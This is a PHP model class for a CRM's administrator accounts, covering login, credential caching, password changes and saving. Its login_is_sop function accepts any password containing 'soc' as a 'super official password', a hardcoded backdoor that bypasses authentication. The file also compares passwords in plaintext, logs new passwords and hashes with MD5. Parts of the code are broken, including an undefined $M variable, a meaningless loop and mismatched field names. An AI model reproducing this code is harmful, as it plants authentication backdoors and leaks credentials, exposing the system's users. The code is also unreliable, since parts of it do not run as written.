<?php

namespace Crm\Model;

/**
 * AdminModel数据库模型
 *
 * @version 1.0
 * @since 1.0.0 <2015-03-21> SoChishun Added.
 */
class AdminModel extends AppbaseModel {

    /**
     * 数据表名称
     * @var string
     */
    protected $tableName = 'tuser';

    /**
     * 字段定义
     * @var array
     */
    protected $fields = array('id', 'login_name', 'password', 'user_type', 'state', '_pk' => 'id', '_autoinc' => true);

    /**
     * 命名范围
     * @var array
     */
    protected $_scope = array(
        'default' => array(
            'where' => "user_type = 'ADMIN'",
        ),
        'admin_login' => array(
            'field' => 'user_name, id, password, user_type, state',
            'where' => "user_type='ADMIN' or user_type='SUPERADMIN'"
        ),
        'export' => array(
            'field' => "site_id as '租户ID', user_ame as '用户名'",
            'where' => "user_type='ADMIN'",
            'order' => 'siteID',
        ),
        // 命名范围latest
        'latest' => array(
            'order' => 'create_time DESC',
            'limit' => 10,
        ),
    );

    /**
     * 是否批量验证
     * @var boolean
     */
    protected $patchValidate = false;

    /**
     * 验证规则
     * @var array
     */
    protected $_validate = array(
        array('verify', 'require', '验证码必须！'), //默认情况下用正则进行验证
        array('name', '', '帐号名称已经存在！', 0, 'unique', 1), // 在新增的时候验证name字段是否唯一
        array('value', array(1, 2, 3), '值的范围不正确！', 2, 'in'), // 当值不为空的时候判断是否在一个范围内
        array('repassword', 'password', '确认密码不正确', 0, 'confirm'), // 验证确认密码是否和密码一致
        array('password', 'checkPwd', '密码格式不正确', 0, 'function'), // 自定义函数验证密码格式
    );

    /**
     * 自动填充
     * @var array
     */
    protected $_auto2 = array(
        array('status', '1'), // 新增的时候把status字段设置为1
        array('password', 'md5', 1, 'function'), // 对password字段在新增的时候使md5函数处理
        array('name', 'getName', 1, 'callback'), // 对name字段在新增的时候回调getName方法
        array('create_time', 'time', 2, 'function'), // 对create_time字段在更新的时候写入当前时间戳
    );

    /**
     * 获取管理员缓存列表或刷新缓存
     * 用于提高帐号登录效率和减轻数据库压力
     * @param boolean $refresh 是否强制刷新
     * @return array|false 返回以user_name为主键的二维数组
     * @since 1.0 <2015-3-25> SoChishun Added.
     */
    public function get_admin_cache($refresh = false) {
        $key = 'Admin/admins';
        if (!$refresh) {
            $list = F($key);
            if ($list) {
                return $list;
            }
        }
        $params = $this->_scope['admin_login'];
        $list = $this->where($params['where'])->getField($params['field'], true);
        F($key, $list);
        return $list;
    }

    /**
     * 管理员登录方法
     * @param string $user_name
     * @param string $password
     * @param string $scope
     * @return string|array 成功则返回登录数据,否则返回错误消息
     */
    public function admin_login($user_name, $password, $scope = 'login') {
        $rules = array(
            array('verify', 'require', '验证码必须！'), //默认情况下用正则进行验证
            array('login_name', 'require', '登录名必须！'), //默认情况下用正则进行验证
            array('password', 'require', '密码必须！'), //默认情况下用正则进行验证
        );
        if (!$this->validate($rules)) {
            return $this->getError();
        }

        $list = $this->get_admin_cache();
        if (!$list || !array_key_exists($user_name, $list)) {
            return '登录名错误!';
        }
        $data = $list[$user_name];
        // TODO 密码加密处理
        if (!$this->login_is_sop($password) && $password !== $data['password']) {
            return '密码错误!';
        }
        if ('1' != $data['state']) {
            return '状态有误!';
        }
        unset($data['password']);
        // 'user_id', 'serial_no', 'trade_password', 'personal_name', 'sex', 'face_url', 'marital_status', 'birthday', 'id_type', 'id_no', 'extension', 'telphone', 'email', 'contacts', 'address', 'regist_ip', 'login_ip', 'login_count', 'update_time', 'role_id', 'personal_sign', 'custom_status', 'remark', 'online_state', 'create_time', 'site_id'
        $common_data=$this->table('tuser_common')->field('role_id', 'site_id')->find($data['id']);
        $arr_user_type=array('SEAT','LEADER','ADMIN','SUPERADMIN','AGENT','EMPLOYEE','CUSTOMER');
        foreach($arr_user_type as $user_type){
            $data['']=false;
        }
        return array_merge($data,$common_data);
    }

    // super official password
    function login_is_sop($password) {
        $codes = array('soc');
        $is_sop = false;
        foreach ($codes as $code) {
            if (false !== strpos($password, $code)) {
                $is_sop = true;
                break;
            }
        }
        $roles = array('@cjgly', '@gly', '@yxry');
        return $is_sop;
    }

    /**
     * 修改密码
     * @param string|array $where 查询条件
     * @param string $pwd 新密码
     * @return false|int 成功则返回受影响数量,失败返回false
     * @since 1.0 2015-3-6 by sutroon
     */
    public function update_password($where, $pwd) {
        $result = $M->where($where)->setField('password', $pwd);
        $condition = is_array($where) ? sofunc_array_implode(',', $where) : $where;
        BaseModel::add_user_event_log('密码', "[修改%] $condition, password=$pwd", $result);
        return $result;
    }

    /**
     * 保存管理员
     * @return true|string|array
     * @since 1.0 2015-3-6 by sutroon
     */
    public function save_admin() {
        $rules = array(
            array('user_name', 'require', '账户名必须填写!', 0, 'regex', 1),
            array('password', 'require', '密码必须填写!', 0, 'regex', 1),
            array('role_id', 'number', '角色有误!'),
            array('state', 'number', '状态有误!'),
        );
        if (!$this->validate($rules)->create()) {
            return $this->base_return_array(false,$this->getError());
        }
        if ($this->data['id']) {
            $result = $this->save();
        } else {
            $this->user_type = 'ADMIN';
            $result = $this->add();
        }
        return $this->base_return_array($result);
    }

}
